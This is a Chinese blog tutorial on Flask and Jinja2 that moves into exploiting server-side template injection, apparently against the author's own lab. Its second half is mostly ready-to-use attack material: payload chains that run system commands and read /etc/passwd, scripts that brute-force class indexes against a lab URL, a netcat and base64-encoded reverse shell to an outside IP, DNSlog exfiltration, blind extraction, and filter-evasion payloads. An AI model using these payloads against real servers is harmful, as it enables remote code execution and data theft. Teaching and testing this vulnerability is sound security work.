前言

前期学习主要以 Python 的 Flask 框架使用的 Jinja2 模版为主,同时 x1ong 也借此机会学习一下 Python 的 Flask 模块。

Flask 基础

模块的安装

安装方法比较简单,直接使用 pip 安装即可:

1
pip3 install flask 

最小的应用

1
2
3
4
5
6
7
8
from flask import Flask

app = Flask(__name__)
@app.route('/')
def hello():
return "Hello Flask!"

app.run()

以上代码解释如下:

首先我们导入了 Flask 类。该类的实例将会成为我们的 WSGI 应用。

接着我们创建一个该类的实例。第一个参数是应用模块或者包的名称。 __name__ 是一个适用于大多数情况的快捷方式。有了这个参数, Flask 才能知道在哪里可以找到模板和静态文件等东西。

然后我们使用 route() 装饰器来告诉 Flask 触发函数的 PATH 。

函数返回需要在用户浏览器中显示的信息。默认的内容类型是 HTML ,因此字符串中的 HTML 会被浏览器渲染。

Flask 模块默认的端口为 5000,故而运行这段 Python 代码会自动监听 5000 端
口。

alt text

访问:

alt text

可以看到页面输出 Hello Flask,这是因为我们访问了 / 路由,故而会执行路由下的 hello 方法,而 hello 方法则会返回 Hello Flask!,故而页面会输出这段话。

知道路由的概念之后,我们修改代码如下:

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask

app = Flask(__name__)
@app.route('/')
def hello():
return "Hello Flask!"

@app.route('/admin')
def admin():
return "Welcome to the backend management system"
app.run()

那么我们知道,当我们访问 / 则会执行 hello 方法,当我们访问 /admin 则会执行 admin 方法,故而当我们访问 /admin 的时候,页面会输出: Welcome to the backend management system。

alt text

run() 方法的参数

host

默认情况下,Flask 应用监听本地主机(127.0.0.1)上的 5000 端口,也就是说,局域网的其他主机则无法访问,故而如果我们需要对外监听,则需要将 host 修改为 0.0.0.0

1
2
3
4
5
6
7
8
9
from flask import Flask

app = Flask(__name__)
@app.route('/')
def hello():
return "Hello Flask!"

if __name__ == '__main__':
app.run(host='0.0.0.0')

这里的 if __name__ == '__main__' 则表示,仅允许当前文件直接执行,不允许被引入到其他文件执行。

port

默认情况下,Flask 应用监听本地主机上的 5000 端口,如果我们需要将其修改为 8090,代码如下:

1
2
3
4
5
6
7
8
9
from flask import Flask

app = Flask(__name__)
@app.route('/')
def hello():
return "Hello Flask!"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

debug

默认情况下,Flask 应用不开启调试模式,但是我们在开发中编译调试一些错误,往往会使用 debug 模式进行调试。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request, abort
app = Flask(__name__)
@app.route('/trigger_error')
def trigger_error():
param = request.args.get('param')
if param is None:
# 引发 400 错误
abort(400, description="Missing required parameter 'param'.")
elif param == '500':
# 引发 500 错误
raise Exception("This is a custom exception to trigger a 500 error.")
else:
return f'Received parameter: {param}'
if __name__ == '__main__':
app.run(debug=True)

alt text

alt text

这里输入 PIN 码即可进行任意的 Python 代码执行。

alt text

在早期的 Flask 版本,debug 模式是不需要 PIN 码验证的,存在的安全风险非常大。故而后续进行了改善。

调试器允许执行来自浏览器的任意 Python 代码。虽然它由一个 pin 保护, 但仍然存在巨大安全风险。不要在生产环境中运行开发服务器或调试器。

HTML 转义

当返回 HTML ( Flask 中的默认响应类型)时,为了防止注入攻击,所有用户 提供的值在输出渲染前必须被转义。使用 Jinja (这个稍后会介绍)渲染的 HTML 模板会自动执行此操作。

在下面展示的 escape() 可以手动转义。因为保持简洁的原因,在多数示例中它被省略了,但您应该始终留心处理不可信的数据。

1
2
3
4
5
6
7
8
9
from flask import Flask,request
from markupsafe import escape

app = Flask(__name__)
@app.route("/<name>")
def index(name):
return escape(name)
if __name__ == '__main__':
app.run()

alt text

路由

现代 web 应用都使用有意义的 URL ,这样有助于用户记忆,网页会更得到用户的青睐,提高回头率。

使用 route() 装饰器来把函数绑定到 URL:

定义结构如下:

1
2
3
4
5
6
7
@app.route('/')
def index():
return 'Index Page'

@app.route('/hello')
def hello():
return 'Hello, World'

一般情况下,函数名与其路由参数保持一致。

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask,request
app = Flask(__name__)

@app.route('/')
def index():
return 'Index Page'

@app.route('/hello')
def hello():
return 'Hello, World'

if __name__ == '__main__':
app.run()

当我们访问路由 /,则会执行 index 方法:

alt text

当我们访问路由 /hello 则会执行 hello 方法:

alt text

变量规则

通过把 URL 的一部分标记为 <variable_name> 就可以在 URL 中添加变量。 标记的部分会作为关键字参数传递给函数。通过使用 <converter:variable_name> ,可以选择性的加上一个转换器,为变量指定规则。请看下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask,request
from markupsafe import escape

app = Flask(__name__)
# /index1/admin
@app.route("/index1/<username>")
def index1(username):
return f"Hello {username}"

# /index2/123
@app.route("/index2/<int:user_id>")
def index2(user_id):
return f"User ID:{user_id}"

# /index3/3.14
@app.route("/index3/<float:number>")
def index3(number):
return f"Number: {number}"

# /index4/images/
@app.route("/index4/<path:path>")
def index4(path):
return f"Path: {path}"

# /index5/a66380c8-09b0-bb6d-a964-4cfd6d18921d
@app.route("/index5/<uuid:uuid>")
def index5(uuid):
return f"uuid:{uuid}"

if __name__ == '__main__':
app.run()

转换器类型:

类型 说明
string 默认类型,接受任何不包含斜杠的文本
int 接受正整数
float 接受正浮点数
path 类似 string ,但可以包含斜杠
uuid 接受 UUID 字符串

alt text

alt text

alt text

alt text

alt text

HTTP 方法

Web 应用使用不同的 HTTP 方法处理 URL 。当您使用 Flask 时,应当熟悉 HTTP 方法。缺省情况下,一个路由只回应 GET 请求。可以使用 route() 装饰器的 methods 参数来处理不同的 HTTP 方法。

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask,request

app = Flask(__name__)

@app.route("/",methods=['GET',"POST"])
def index():
return "<h1>Hello World</h1>"

if __name__ == '__main__':
app.run()

路由 / 只允许使用 GET 和 POST 请求方法访问,如果使用其他请求方法访问,则提示如下:

alt text

参数的接收

在 HTTP 协议中,我们经常使用 GET 或者 POST 方法传入一些参数,那么 Flask 模块如何接收这些参数呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask,request

app = Flask(__name__)

@app.route("/", methods=['GET', 'POST'])
def index():
# 接受get传入的args1参数
args1 = request.args.get("args1")
# 接收post传入的args2参数
args2 = request.form.get("args2")
return f"args1: {args1}\nargs2: {args2}"

if __name__ == '__main__':
app.run()

alt text

Flask 模版渲染

基础概念

视图函数的主要作用是生成请求的响应,主要就做这么两件事情:

  • 处理业务逻辑
    • 视图函数只负责业务逻辑和数据处理
  • 返回响应内容
    • 模版取到视图函数的数据结果进行展示

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask

app = Flask(__name__)

# 使用装饰器定义路由,将URL '/' 映射到index函数
@app.route('/')
def index():
return 'Hello, World!'

# 定义另一个视图函数,处理URL '/about'
@app.route('/about')
def about():
return 'About Page'

if __name__ == '__main__':
app.run()

如果把业务逻辑和表现内容发在一起,会增加代码的复杂度和维护成本。

使用模版 使静态的HTML页面展示动态的内容。

模版是一个响应文本的文件,其中占位符(变量)表示动态部分,告诉模版引擎其具体的值需要从使用的数据中获取。

使用真实值替换变量,再返回最终得到的字符串。这个过程称为 “渲染”。

Flask 使用 Jinja2 这个模版引擎来渲染模版。

render_template

加载 HTML 文件,默认文件路径在 templates 目录下。

  1. 建立如下 Python 文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask,render_template,redirect,request,url_for

app = Flask(__name__)

# 获取用户输入的个人信息
@app.route("/", methods=['GET',"POST"])
def index():
# 如果请求方法为POST则表示提交数据进行跳转到 /home
if request.method == "POST":
username = request.form.get("name")
age = request.form.get("age")
address = request.form.get("address")
phone = request.form.get("tel")
return redirect(url_for("home", username=username, age=age, address=address, phone=phone))
# 如果请求方法是GET则表示是访问页面,直接返回个人信息收集框
return render_template("register.html")


@app.route("/home",methods=['GET','POST'])
def home():
username = request.args.get("username")
age = request.args.get("age")
address = request.args.get("address")
phone = request.args.get("phone")
# 渲染模版
return render_template("index.html",username=username,age=age,address=address,phone=phone)

if __name__ == '__main__':
app.run()

  1. 接着创建 templates 目录,并在目录内创建 index.html 文件,内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>个人信息</title>
<style>
table {
width: 50%;
border-collapse: collapse;
margin: 25px 0;
font-size: 18px;
text-align: left;
}
th, td {
padding: 12px;
border-bottom: 1px solid #ddd;
}
th {
background-color: #f2f2f2;
}
tr:hover {
background-color: #f5f5f5;
}
</style>
</head>
<body>
<h2>个人信息表格</h2>
<table>
<thead>
<tr>
<th>姓名</th>
<th>年龄</th>
<th>地址</th>
<th>手机号</th>
</tr>
</thead>
<tbody>
<tr>
<td>{{ username }}</td>
<td>{{ age }}</td>
<td>{{ address }}</td>
<td>{{ phone }}</td>
</tr>
</tbody>
</table>
</body>
</html>
  1. 接着在 templates 目录下创建 register.html 文件,内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method="post">
姓名: <input type="text" name="name">
<br>
年龄: <input type="text" name="age">
<br>
地址: <input type="text" name="address">
<br>
手机号: <input type="text" name="tel" maxlength="11">
<br>
<input type="submit">
</form>
</body>
</html>
  1. 运行 Python 文件,访问提交:

alt text

这样就实现了让原本 静态的HTML页面展示动态的内容

render_template_string

render_template() 不同的是,render_template() 指定的是一个模版文件,而 render_template_string 指定的则是模版字符串。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask,render_template_string,request

app = Flask(__name__)

@app.route("/", methods=['GET',"POST"])
def index():
kw = request.args.get("kw")
if kw != None:
return render_template_string("""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title></head><body>%s</body></html>""")% kw
return "/?kw=kw"

if __name__ == '__main__':
app.run()

{% %}的使用

set 变量

我们可以使用 {% set key=value %} 的形式在模版中设置一个变量和值。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask,render_template_string

app = Flask(__name__)
@app.route("/")
def index():
html_str = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
{% set name="x1ongSec" %}
<h1> Hello {{ name }} </h1>
</body>
</html>
"""
return render_template_string(html_str)

if __name__ == '__main__':
app.run()

页面输出:

alt text

for 循环

{% %} 除了设置一个变量以外,还可以使用 for 循环。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask,render_template_string

app = Flask(__name__)
@app.route("/")
def index():
names = ["小明", "小红", "小亮", "小熊"]
html_str = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<ul>
{% for name in names %}
<li>{{ name }}</li>
{% endfor %}
</ul>
</body>
</html>
"""
return render_template_string(html_str,names=names)

if __name__ == '__main__':
app.run()

页面输出:

alt text

if 判断

{% %} 除了设置一个变量以外,还可以使用 if 条件控制语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
users = [
{'name': 'Alice', 'age': 25},
{'name': 'Bob', 'age': 30},
{'name': 'Charlie', 'age': 35},
{'name': 'David', 'age': 40}
]
html_str = """
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>User List</title>
</head>
<body>
<h1>User List</h1>
<ul>
{% for user in users %}
<li>
{% if user.age > 30 %}
<strong>{{ user.name }}</strong> is {{ user.age }} years old. (Senior)
{% else %}
{{ user.name }} is {{ user.age }} years old.
{% endif %}
</li>
{% endfor %}
</ul>
</body>
</html>
"""
return render_template_string(html_str, users=users)
if __name__ == '__main__':
app.run()

过滤器

Flask 常用过滤器

过滤器函数 说明
length 获取一个序列或者字典的长度并将其返回
int 将值转为int类型
float 将值转为int类型
lower 将字符串转为小写
upper 将字符串转为大写
reverse 将字符串反转
replace 字符串替换
list 将数据类型转为list类型
string 将数据类型转为字符串类型
join 将一个序列的参数值拼接成字符串,通常与 dict() 函数配合使用
attr 获取对象的属性

过滤器的使用

这里只演示最常用的 length 和 join 以及 attr 过滤器的使用

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask,render_template_string

app = Flask(__name__)
@app.route("/")
def index():
names = ["小明", "小亮", "小红", "小熊"]
username = "x1ong"
password = "admin123"
html_str = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>title</title>
<body>
Number of personnel: {{ names|length }}
<br />
username: {{ username|join("_") }}
<br />
password: {{ password|attr("__class__") }}
</body>
</head>
</html>
"""
return render_template_string(html_str, names=names,username=username,password=password)

if __name__ == '__main__':
app.run()

页面输出:

alt text

模版注入漏洞介绍

模版注入漏洞原理

模版注入漏洞是指在模板中使用用户输入的数据,而没有对其进行适当的过滤,导致恶意数据被插入到模板中,从而导致模版注入漏洞。

模版注入漏洞危害

模版注入漏洞的危害取决于攻击者能够利用该漏洞执行的恶意操作。攻击者可以利用模版注入漏洞执行以下操作:

  • 读取服务器上的文件
  • 执行系统命令
  • 获取服务器上的敏感信息
  • 修改或删除服务器上的文件
  • 执行任意代码

模版注入漏洞演示

存在漏洞的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from flask import Flask,render_template_string,request

app = Flask(__name__)

@app.route("/")
def index():
cmd = request.args.get("cmd")
html_string = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
{}
</body>
</html>
""".format(cmd)
return render_template_string(html_string)
if __name__ == '__main__':
app.run()

当我们传入 7*7 页面返回 7*7 并没有执行我们输入的值

alt text

但是当我们把传入 {{7 * 7 }} 的时候,页面返回 49。

alt text

这里,cmd 的值直接被格式化进 HTML 字符串中,然后通过 render_template_string 函数进行渲染。由于 render_template_string 会处理 Jinja2 模板语法,用户提供的输入如果包含了 Jinja2 模板代码,就会被执行。

安全的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from flask import Flask,render_template_string,request

app = Flask(__name__)

@app.route("/")
def index():
cmd = request.args.get("cmd")
html_string = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
{{ str }}
</body>
</html>
"""
return render_template_string(html_string,str=cmd)
if __name__ == '__main__':
app.run()

str 是被 {{}} 所包裹,故而会对其进行转义,不会执行我们传入的值。

漏洞检测

Python 中 Flask 框架使用的是 Jinja2 的模版,于是 Flask 可以使用 {{ 7*7 }} 进行漏洞的检测。

那么其他模版类型该如何进行检测呢?遵循如下图解检测即可。

alt text

继承关系和魔术方法

继承关系

在 Python 中 Flask 脚本不能直接执行 Python 代码,当前子类无可利用的方法时,可由当前子类从其 object 基类找到其他子类的可利用方法。

alt text

object 是父子关系的顶端,所以的数据类型最终的父类都是 object

魔术方法

魔术方法 说明
__class__ 查找当前对象的当前类
__base__ 查找当前类的父类
__mro__ 查找当前类的所有继承类
__subclasses__() 查找父类下的所有子类
__init__ 查找类是否重载,出现 wrapper 表示没有重载
__globals__ 以字典的形式返回当前函数的全部全局变量
__builtins__ 提供对Python的所有内置标识符的直接访问

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Person():
def test(self):
print("run test function!")

class SubClass(Person):

class DemoClass(Person):
pass

obj = SubClass()
print(obj.__class__) # 查找当前对象的当前类 <class '__main__.SubClass'>
print(SubClass.__base__) # 查找当前类的父类 <class '__main__.Person'>
print(SubClass.__mro__) # 查找当前对象的所有继承类 (<class '__main__.SubClass'>, <class '__main__.Person'>, <class 'object'>)
print(Person.__subclasses__()) # 查找父类下的所有子类 [<class '__main__.SubClass'>, <class '__main__.DemoClass'>]
print(Person.__init__) # <slot wrapper '__init__' of 'object' objects>

小试牛刀

根据下图进行模版类型检测:

alt text

  1. 输入 ${7 *7 },页面没有执行。

alt text

  1. 接着尝试 {{ 7*7 }}

alt text

页面返回 49,那么就是 Jinja2 模版或 Twig,这里使用的是 Python 的 Flask 框架,故而模版为 Jinja2。

  1. 由于类的父类都是 object,因此我们这里键入任意数据类型,获取其父类(object):
1
2
3
{{ ''.__class__ }}  # 获取字符串的类   <class 'str'>

{{ ''.__class__.__base__ }} # 获取字符串的父类 <class 'object'>

alt text

  1. 获取父类 object 的所有子类,这样就可以获取到页面的所有加载的模块类:
1
{{ ''.__class__.__base__.__subclasses__() }} # 获取父类 object 的所有子类

alt text

  1. 使用 SubLime Text 3编辑器将逗号替换为换行显示:

alt text

  1. 替换之后发现在 118行 存在 os 模块类,使用 [117] 取到下标,并使用 __init__ 查看是否被重载

alt text

1
2
3
{{ ''.__class__.__base__.__subclasses__()[117] }}  # <class 'os._wrap_close'>

{{ ''.__class__.__base__.__subclasses__()[117].__init__ }} # <function _wrap_close.__init__ at 0x7f550fb849d8>

发现不存在 wrapper 表示已经重载,可以使用。

alt text

  1. 以字典的形式获取 os 模块的所有全部变量以及相应的函数地址并进行命令执行
1
{{ ''.__class__.__base__.__subclasses__()[117].__init__.__globals__ }}

由于是字典形式,我们使用 popen 获取该函数的函数地址执行。

alt text

1
{{ ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("cat /etc/passwd").read() }}

alt text

最终达到命令执行的效果,以上等同于直接执行如下 Python 代码:

1
2
import os
print(os.popen("cat /etc/passwd").read())

常用注入模块利用

文件读取

使用 如下 Python 脚本获取该类的索引位置:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'
for i in range(0, 500):
data = {'name': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '] }}'}
try:
res = requests.post(url, data=data)
if res.status_code == 200:
if '_frozen_importlib_external.FileLoader' in res.text:
print(i)
break
except:
pass

<class '_frozen_importlib_external.FiieLoader'>,即文件读取模块,可以读取文件内容:

1
2
3
{{ ''.__class__.__base__.__subclasses__()[79]}} # <class '_frozen_importlib_external.FileLoader'>

{{ ''.__class__.__base__.__subclasses__()[79]['get_data'](0,'/etc/passwd')}}

alt text

内置函数 eval 命令执行

使用内建函数 eval前需知道哪个模块存在可利用的内建函数 eval,使用如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'
for i in range(0, 500):

data = {'name': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["__builtins__"] }}'}
try:
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
if res.status_code == 200:
# 引号中为需查找的模块名,需自定义
if 'eval' in res.text:
print(i)
except:
pass

以上结果可能很多,我们随便使用一个。

1
2
3
4
5
# 假设索引为 68 的类存在 eval 函数
{{ [].__class__.__mro__[1].__subclasses__()[68].__init__.__globals__['__builtins__'] }}

# 命令执行
{{ [].__class__.__mro__[1].__subclasses__()[68].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /etc/passwd').read()") }}

alt text

OS 模块执行命令

  1. 在其他函数中直接调用os模块进行命令执行:
1
2
3
4
5
# 通过config调用os模块
{{ config.__class__.__init__.__globals__["os"].popen("cat /etc/passwd").read() }}

# 通过url_for调用os模块
{{ url_for.__globals__["os"].popen("cat /etc/passwd").read() }}}

alt text

alt text

  1. 在已加载os模块的子类中直接调用os模块进行命令执行:

使用 Python 脚本查看哪个子类中调用了 os 模块:

1
2
3
4
5
6
7
8
9
10
11
import requests
url = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'
for i in range(0, 500):
data = {'name': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__ }}'}
try:
res = requests.post(url, data=data)
if res.status_code == 200:
if 'os.py' in res.text:
print(i)
except:
pass

alt text

在以上结果中随便选择一个:

1
2
3
4
# 假设如下存在 os 模块
{{ ''.__class__.__base__.__subclasses__()[200].__init__.__globals__['os'] }}

{{ ''.__class__.__base__.__subclasses__()[200].__init__.__globals__['os'].popen('cat /etc/passwd').read() }}

alt text

alt text

当然也可以使用如下获取所有的键名:

1
{{ self.__dict__._TemplateReference__context.keys() }}

alt text

如下函数都带有 OS 模块:

1
2
3
{{ url_for.__globals__ }}
{{ lipsum.__globals__ }}
{{ get_flashed_messages.__globals__ }}

importlib 类命令执行

<class '_frozen_importlib_Builtinlmporter'>,即 importlib 类模块,使用 Python 脚本进行查找:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'
for i in range(0, 500):
data = {'name': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '] }}'}
try:
res = requests.post(url, data=data)
if res.status_code == 200:
if '_frozen_importlib.BuiltinImporter' in res.text:
print(i)
break
except:
pass

alt text

1
2
3
4
{{ ''.__class__.__base__.__subclasses__()[69] }} #  <class '_frozen_importlib_Builtinlmporter'>

# 命令执行
{{ ''.__class__.__base__.__subclasses__()[69]['load_module']('os')['popen']('cat /etc/passwd').read() }}

alt text

alt text

subprocess.Popen 类命令执行

<class 'subprocess.Popen'>,即 subprocess.Popen 类模块。其下标使用如下 Python 脚本获取:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'
for i in range(0, 500):
data = {'name': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '] }}'}
try:
res = requests.post(url, data=data)
if res.status_code == 200:
if 'subprocess.Popen' in res.text:
print(i)
break
except:
pass

alt text

1
2
3
4
{{ ''.__class__.__base__.__subclasses__()[200] }} # <class 'subprocess.Popen'>

# 命令执行
{{ ''.__class__.__base__.__subclasses__()[200]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}

alt text

alt text

Bypass

双大括号 过滤

可以使用 {% %} 代替,使用 print 函数可以打印输出: {% print(123) %}

1
2
3
4
5
# 如果页面输出 x1ong 则表示成功执行
{% if ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read() %}x1ong{% endif %}

# 输出命令执行结果
{% print(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()) %}

至于下标可以使用如下脚本获取并自动构造 PAYLOAD:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = 'http://120.48.128.24:9091/flasklab/level/2'
command = "cat /etc/passwd"
for i in range(0, 500):
payload = "{% if ''.__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['popen']('" + command + "').read() %}x1ong{% endif %}"
data = {'code': payload}
try:
res = requests.post(url, data=data)
if res.status_code == 200:
if 'x1ong' in res.text:
# 生成的 PAYLOAD 使用 print 函数即可输出命令执行结果
print(payload)
print("""{% print(''.__class__.__base__.__subclasses__()[""" + str(i) + """].__init__.__globals__['popen']('""" + command + """').read()) %}""")
break
except:
pass

alt text

无回显 SSTI

  1. 反弹shell
  2. Dnslog带外
  3. 纯盲注

反弹 shell 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://120.48.128.24:9091/flasklab/level/3"
command = "netcat 120.48.128.24 2333 -e /bin/bash"
# command = """echo -n "cHl0aG9uIC1jICJpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgnMTIwLjQ4LjEyOC4yNCcsMjMzMykpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oJy9iaW4vYmFzaCcpIg==" | base64 -d|bash"""
keyword = "correct"
for i in range(0, 500):
payload = "{{ ''.__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['popen']('" + command + "').read() }}"
data = {"code" : payload}
try:
resp = requests.post(url, data=data)
if (keyword in resp.text):
print(i)
break
except:
pass

alt text

Dnslog 带外:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://120.48.128.24:9091/flasklab/level/3"
command = "ping `whoami`.xxxxx.ceye.io"
keyword = "correct"
for i in range(0, 500):
payload = "{{ ''.__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['popen']('" + command + "').read() }}"
data = {"code" : payload}
try:
resp = requests.post(url, data=data)
if (keyword in resp.text):
print(i)
break
except:
pass

alt text

纯盲注:根据页面返回不同结果来判断字符值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import string

url = "http://120.48.128.24:9091/flasklab/level/1"
strings = string.printable.strip()
command = "whoami"
content = ""
for i in range(0,100):
for s in strings:
payload = "{% if ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('" + command + "').read()[" + str(i) + ":" + str(i+1) + "] == '" + s + "' %} x1ong {% endif %}"
data = {"code" : payload}
resp = requests.post(url, data)
if "x1ong" in resp.text:
content += s
break
print(content)

注入时间可能较慢,请耐心等待。

alt text

大括号过滤

魔术方法 __getitem__ 可代替中括号,绕过中括号过滤,其功能是通过键名获取相应的元素值:

alt text

构造 PAYLOAD:

1
2
3
4
5
6
7
8
9
# 原始 PAYLOAD
{{ ''.__class__.__base__.__subclasses__()[117] }} # <class 'os._wrap_close'>

{{ ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("cat /etc/passwd").read() }} # 命令执行

# 绕过WAF之后
{{ ''.__class__.__base__.__subclasses__().__getitem__(117) }} # <class 'os._wrap_close'>

{{ ''.__class__.__base__.__subclasses__().__getitem__(117).__init__ .__globals__.__getitem__('popen')("cat /etc/passwd").read() }} # 命令执行

alt text

单双引号被过滤

当单引号和双引号被过滤之后可以使用 request.args.xxxrequest.form.xxx 接收 GET 或者 POST 的请求。

1
2
3
4
5
6
7
# 原始 PAYLOAD
{{ ''.__class__.__base__.__subclasses__()[117] }} # <class 'os._wrap_close'>

{{ ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("cat /etc/passwd").read() }} # 命令执行

# 绕过WAF之后
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.form.cmd).read() }}

alt text

当然还可以使用 cookies 传参,如 request.cookies.k1request.cookies.k2 在 Cookie 中传入: k1=popen;k2=cat /etc/passwd

除了 cookies 之外,还可以使用 headers 获取请求头的信息。

下划线被过滤

request

当下划线被过滤后可以使用过滤器 attr 输入下划线。PAYLOAD:

1
2
3
4
5
# 原始 PAYLAOD
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read() }}

# 绕过WAF之后
{{ ()|attr(request.form.argu_class)|attr(request.form.argu_base)|attr(request.form.argu_subclasses)()|attr(request.form.argu_getitem)(117)|attr(request.form.argu_init)|attr(request.form.argu_globals)|attr(request.form.argu_getitem)(request.form.argu_popen)(request.form.argu_cmd)|attr(request.form.argu_read)()}}

接着使用 POST 传入如下参数即可:

1
&argu_class=__class__&argu_base=__base__&argu_subclasses=__subclasses__&argu_getitem=__getitem__&argu_init=__init__&argu_globals=__globals__&argu_popen=popen&argu_cmd=cat /etc/passwd&argu_read=read

alt text

{{ ()|attr(request.form.key1) }} 等同于 {{ ().__class__ }}

Unicode

当然也可以对 attr 过滤器的内容进行 Unicode 编码绕过:

1
2
3
4
5
# 原始 PAYLOAD
{{ ()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(117)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("cat /etc/passwd")|attr("read")()}}

# Unicode 编码之后的
{{ ()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(117)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064")|attr("\u0072\u0065\u0061\u0064")()}}

alt text

Unicode 在线编码网站: https://www.bt.cn/tools/unicode.html

{{ ()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}} 等同于 {{ ()|attr("__class__")}}

hex

除了使用以上两种方式以外,还可以使用十六进制编码的形式

1
2
3
4
5
# 原始PAYLOAD
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read() }}

# 十六进制 编码之后的
